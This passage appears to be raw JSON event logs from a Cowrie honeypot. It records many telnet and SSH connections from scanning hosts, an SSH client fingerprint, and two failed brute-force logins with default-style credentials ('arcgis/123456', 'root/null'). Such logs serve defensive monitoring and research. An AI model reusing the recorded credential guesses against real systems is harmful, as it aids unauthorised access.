-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:30.748227Z","src_ip":"159.203.92.129","session":"f63535f3225e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arcgis","password":"123456","message":"login attempt [arcgis/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:30.762190Z","src_ip":"159.203.92.129","session":"f63535f3225e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":36202,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c451fa6c92f","protocol":"telnet","message":"New connection: 160.250.4.73:36202 (10.17.0.5:23) [session: 2c451fa6c92f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:30.916817Z"}
{"eventid":"cowrie.session.closed","duration":30.909817695617676,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:31.102291Z","src_ip":"64.235.40.29","session":"889b1bfa890e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":38374,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0133f3fec97","protocol":"telnet","message":"New connection: 216.22.21.200:38374 (10.17.0.5:23) [session: f0133f3fec97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:31.133116Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.207.153.205","src_port":47622,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c4540e7ec35","protocol":"telnet","message":"New connection: 104.207.153.205:47622 (10.17.0.5:23) [session: 7c4540e7ec35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:31.209390Z"}
{"eventid":"cowrie.session.closed","duration":30.974987030029297,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:31.413159Z","src_ip":"64.235.40.29","session":"520c95879a6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57476,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cce253368b0","protocol":"telnet","message":"New connection: 64.235.40.29:57476 (10.17.0.5:23) [session: 5cce253368b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:31.499403Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:31.768103Z","src_ip":"159.203.92.129","session":"f63535f3225e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.20171856880188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:32.074708Z","src_ip":"64.235.40.29","session":"add84110cf18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.278587102890015,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:32.090080Z","src_ip":"64.235.40.29","session":"bdcbdc7f6cab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.326300859451294,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:32.116408Z","src_ip":"160.250.4.73","session":"d10d2763db5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36767601966858,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:32.135111Z","src_ip":"160.250.4.73","session":"1de47d0adc1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57464,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d563aa06544","protocol":"telnet","message":"New connection: 64.235.40.29:57464 (10.17.0.5:23) [session: 5d563aa06544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:32.267750Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57462,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c26c8469b57","protocol":"telnet","message":"New connection: 64.235.40.29:57462 (10.17.0.5:23) [session: 3c26c8469b57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:32.333056Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":42926,"dst_ip":"10.17.0.5","dst_port":23,"session":"d95802f3559c","protocol":"telnet","message":"New connection: 99.198.111.122:42926 (10.17.0.5:23) [session: d95802f3559c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:32.428339Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":36218,"dst_ip":"10.17.0.5","dst_port":23,"session":"066d1c3c583a","protocol":"telnet","message":"New connection: 160.250.4.73:36218 (10.17.0.5:23) [session: 066d1c3c583a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:32.595531Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57492,"dst_ip":"10.17.0.5","dst_port":23,"session":"949943623a6e","protocol":"telnet","message":"New connection: 64.235.40.29:57492 (10.17.0.5:23) [session: 949943623a6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:32.647001Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57500,"dst_ip":"10.17.0.5","dst_port":23,"session":"6449a256a542","protocol":"telnet","message":"New connection: 64.235.40.29:57500 (10.17.0.5:23) [session: 6449a256a542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:32.668561Z"}
{"eventid":"cowrie.session.closed","duration":30.11340832710266,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:33.014596Z","src_ip":"135.148.33.217","session":"a95fc3ff7e67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.965811014175415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:33.021103Z","src_ip":"135.148.33.217","session":"a38fe008c654","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":44198,"dst_ip":"10.17.0.5","dst_port":23,"session":"026423d32761","protocol":"telnet","message":"New connection: 99.198.111.122:44198 (10.17.0.5:23) [session: 026423d32761]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:33.077244Z"}
{"eventid":"cowrie.session.closed","duration":31.213648557662964,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:33.158295Z","src_ip":"160.250.4.73","session":"376394d5c544","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":40508,"dst_ip":"10.17.0.5","dst_port":23,"session":"22fa712b6445","protocol":"telnet","message":"New connection: 216.22.21.200:40508 (10.17.0.5:23) [session: 22fa712b6445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:33.270839Z"}
{"eventid":"cowrie.session.closed","duration":31.337520599365234,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:33.332556Z","src_ip":"64.235.40.29","session":"1d466bb9aa5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.207.153.205","src_port":47636,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e63bd02774b","protocol":"telnet","message":"New connection: 104.207.153.205:47636 (10.17.0.5:23) [session: 3e63bd02774b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:33.464383Z"}
{"eventid":"cowrie.session.closed","duration":30.92407488822937,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:33.796765Z","src_ip":"64.235.40.29","session":"dea4e6e3f24e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:33.958548Z","src_ip":"122.168.114.167","session":"18684c79af56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.93339991569519,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:34.186255Z","src_ip":"64.235.40.29","session":"4264e62d587c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.000338315963745,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:34.190901Z","src_ip":"64.235.40.29","session":"7b63dc36f325","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.018380641937256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:34.203285Z","src_ip":"64.235.40.29","session":"43e1d28fe87c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.776886463165283,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:34.234265Z","src_ip":"133.130.75.21","session":"5c91cafaa625","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57530,"dst_ip":"10.17.0.5","dst_port":23,"session":"bedcc8e75da2","protocol":"telnet","message":"New connection: 64.235.40.29:57530 (10.17.0.5:23) [session: bedcc8e75da2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:34.244416Z"}
{"eventid":"cowrie.session.closed","duration":30.8117196559906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:34.522107Z","src_ip":"64.235.40.29","session":"2d2a6d9fe9da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57528,"dst_ip":"10.17.0.5","dst_port":23,"session":"22799cfa0ce1","protocol":"telnet","message":"New connection: 64.235.40.29:57528 (10.17.0.5:23) [session: 22799cfa0ce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:34.719524Z"}
{"eventid":"cowrie.session.closed","duration":30.47514581680298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:35.120189Z","src_ip":"64.235.40.29","session":"336cec930a22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":37684,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f0a8260a18b","protocol":"telnet","message":"New connection: 195.154.29.177:37684 (10.17.0.5:23) [session: 7f0a8260a18b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:35.175044Z"}
{"eventid":"cowrie.session.closed","duration":30.44874095916748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:35.184059Z","src_ip":"64.235.40.29","session":"85ff3b761e02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.033137559890747,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:35.194833Z","src_ip":"160.250.4.73","session":"5bed70611809","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":36230,"dst_ip":"10.17.0.5","dst_port":23,"session":"984645930c93","protocol":"telnet","message":"New connection: 160.250.4.73:36230 (10.17.0.5:23) [session: 984645930c93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:35.233130Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":42516,"dst_ip":"10.17.0.5","dst_port":23,"session":"81d43789be18","protocol":"telnet","message":"New connection: 216.22.21.200:42516 (10.17.0.5:23) [session: 81d43789be18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:35.273784Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":36232,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f46ba01f588","protocol":"telnet","message":"New connection: 160.250.4.73:36232 (10.17.0.5:23) [session: 3f46ba01f588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:35.300310Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":42822,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfe70b7acb4f","protocol":"telnet","message":"New connection: 216.22.21.200:42822 (10.17.0.5:23) [session: bfe70b7acb4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:35.496438Z"}
{"eventid":"cowrie.session.closed","duration":31.414704084396362,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:35.712440Z","src_ip":"64.235.40.29","session":"f6673404f8f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77669620513916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:36.046337Z","src_ip":"64.235.40.29","session":"b113b3c08f7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.320176601409912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:36.051131Z","src_ip":"64.235.40.29","session":"010607f5d700","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.590601682662964,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:36.135577Z","src_ip":"160.250.4.73","session":"025386442551","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.016213417053223,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:36.208639Z","src_ip":"64.235.40.29","session":"bc34c85dc0bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.452807903289795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:36.287349Z","src_ip":"104.207.153.205","session":"fe7782f9afc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":43538,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf7f30613b3d","protocol":"telnet","message":"New connection: 64.235.40.29:43538 (10.17.0.5:23) [session: bf7f30613b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:36.294431Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":50680,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2ac4791efd1","protocol":"telnet","message":"New connection: 135.148.33.217:50680 (10.17.0.5:23) [session: b2ac4791efd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:36.478469Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":43548,"dst_ip":"10.17.0.5","dst_port":23,"session":"571a929a2acc","protocol":"telnet","message":"New connection: 64.235.40.29:43548 (10.17.0.5:23) [session: 571a929a2acc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:36.572582Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":52192,"dst_ip":"10.17.0.5","dst_port":23,"session":"568e19972dac","protocol":"telnet","message":"New connection: 99.198.111.122:52192 (10.17.0.5:23) [session: 568e19972dac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:36.619174Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57514,"dst_ip":"10.17.0.5","dst_port":23,"session":"a86ce30d3111","protocol":"telnet","message":"New connection: 64.235.40.29:57514 (10.17.0.5:23) [session: a86ce30d3111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:36.683854Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.207.153.205","src_port":48238,"dst_ip":"10.17.0.5","dst_port":23,"session":"b147867b7fdb","protocol":"telnet","message":"New connection: 104.207.153.205:48238 (10.17.0.5:23) [session: b147867b7fdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:36.781126Z"}
{"eventid":"cowrie.session.closed","duration":30.625425338745117,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:37.010305Z","src_ip":"135.148.33.217","session":"f4bddd718e72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":48882,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fd1ca37d31b","protocol":"telnet","message":"New connection: 195.154.29.177:48882 (10.17.0.5:23) [session: 7fd1ca37d31b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:37.014909Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":51488,"dst_ip":"10.17.0.5","dst_port":23,"session":"847c0195e422","protocol":"telnet","message":"New connection: 135.148.33.217:51488 (10.17.0.5:23) [session: 847c0195e422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:37.115104Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":43564,"dst_ip":"10.17.0.5","dst_port":23,"session":"77a846d02943","protocol":"telnet","message":"New connection: 64.235.40.29:43564 (10.17.0.5:23) [session: 77a846d02943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:37.133646Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":43528,"dst_ip":"10.17.0.5","dst_port":23,"session":"67dcd7fc287c","protocol":"telnet","message":"New connection: 64.235.40.29:43528 (10.17.0.5:23) [session: 67dcd7fc287c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:37.279191Z"}
{"eventid":"cowrie.session.closed","duration":30.575603008270264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:37.360647Z","src_ip":"104.207.153.205","session":"33d691c679a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03336262702942,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:37.435548Z","src_ip":"64.235.40.29","session":"62f9a45bbff5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":54074,"dst_ip":"10.17.0.5","dst_port":23,"session":"98bd3b4a52d7","protocol":"telnet","message":"New connection: 99.198.111.122:54074 (10.17.0.5:23) [session: 98bd3b4a52d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:37.512504Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":47424,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd91beb65f53","protocol":"telnet","message":"New connection: 195.154.29.177:47424 (10.17.0.5:23) [session: bd91beb65f53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:37.602671Z"}
{"eventid":"cowrie.session.closed","duration":30.734095096588135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:37.620239Z","src_ip":"64.235.40.29","session":"5d9f353c12cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.705474615097046,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:37.646416Z","src_ip":"64.235.40.29","session":"cc8f1f0651ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.311197757720947,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:37.703030Z","src_ip":"64.235.40.29","session":"576c9122a12f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":43570,"dst_ip":"10.17.0.5","dst_port":23,"session":"e67bfc472294","protocol":"telnet","message":"New connection: 64.235.40.29:43570 (10.17.0.5:23) [session: e67bfc472294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:37.960113Z"}
{"eventid":"cowrie.session.closed","duration":"20.2","message":"Connection lost after 20.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:38.094547Z","src_ip":"122.168.114.167","session":"18684c79af56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.514229774475098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:38.163341Z","src_ip":"64.235.40.29","session":"5e89756e4aed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04393196105957,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:38.897948Z","src_ip":"64.235.40.29","session":"052ce36f684b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":46954,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f69e7c3efd9","protocol":"telnet","message":"New connection: 216.22.21.200:46954 (10.17.0.5:23) [session: 9f69e7c3efd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:39.067246Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":57742,"dst_ip":"10.17.0.5","dst_port":23,"session":"15170c3492f6","protocol":"telnet","message":"New connection: 99.198.111.122:57742 (10.17.0.5:23) [session: 15170c3492f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:39.190872Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":43582,"dst_ip":"10.17.0.5","dst_port":23,"session":"687398f5d6f0","protocol":"telnet","message":"New connection: 64.235.40.29:43582 (10.17.0.5:23) [session: 687398f5d6f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:39.207469Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":43584,"dst_ip":"10.17.0.5","dst_port":23,"session":"efe5d04da945","protocol":"telnet","message":"New connection: 64.235.40.29:43584 (10.17.0.5:23) [session: efe5d04da945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:39.397584Z"}
{"eventid":"cowrie.session.closed","duration":30.85833716392517,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:39.641091Z","src_ip":"135.148.33.217","session":"b88670e2247c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":42564,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb7cfffd75d0","protocol":"telnet","message":"New connection: 160.250.4.73:42564 (10.17.0.5:23) [session: fb7cfffd75d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:39.777798Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":56762,"dst_ip":"10.17.0.5","dst_port":23,"session":"352612cfe0e1","protocol":"telnet","message":"New connection: 195.154.29.177:56762 (10.17.0.5:23) [session: 352612cfe0e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:39.910951Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":48824,"dst_ip":"10.17.0.5","dst_port":23,"session":"899be6cf3ec3","protocol":"telnet","message":"New connection: 195.154.29.177:48824 (10.17.0.5:23) [session: 899be6cf3ec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:40.007666Z"}
{"eventid":"cowrie.session.closed","duration":30.834949731826782,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:40.233571Z","src_ip":"64.235.40.29","session":"79eda11066fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.940433025360107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:40.247067Z","src_ip":"64.235.40.29","session":"f72ad9fed7f7","protocol":"telnet"}
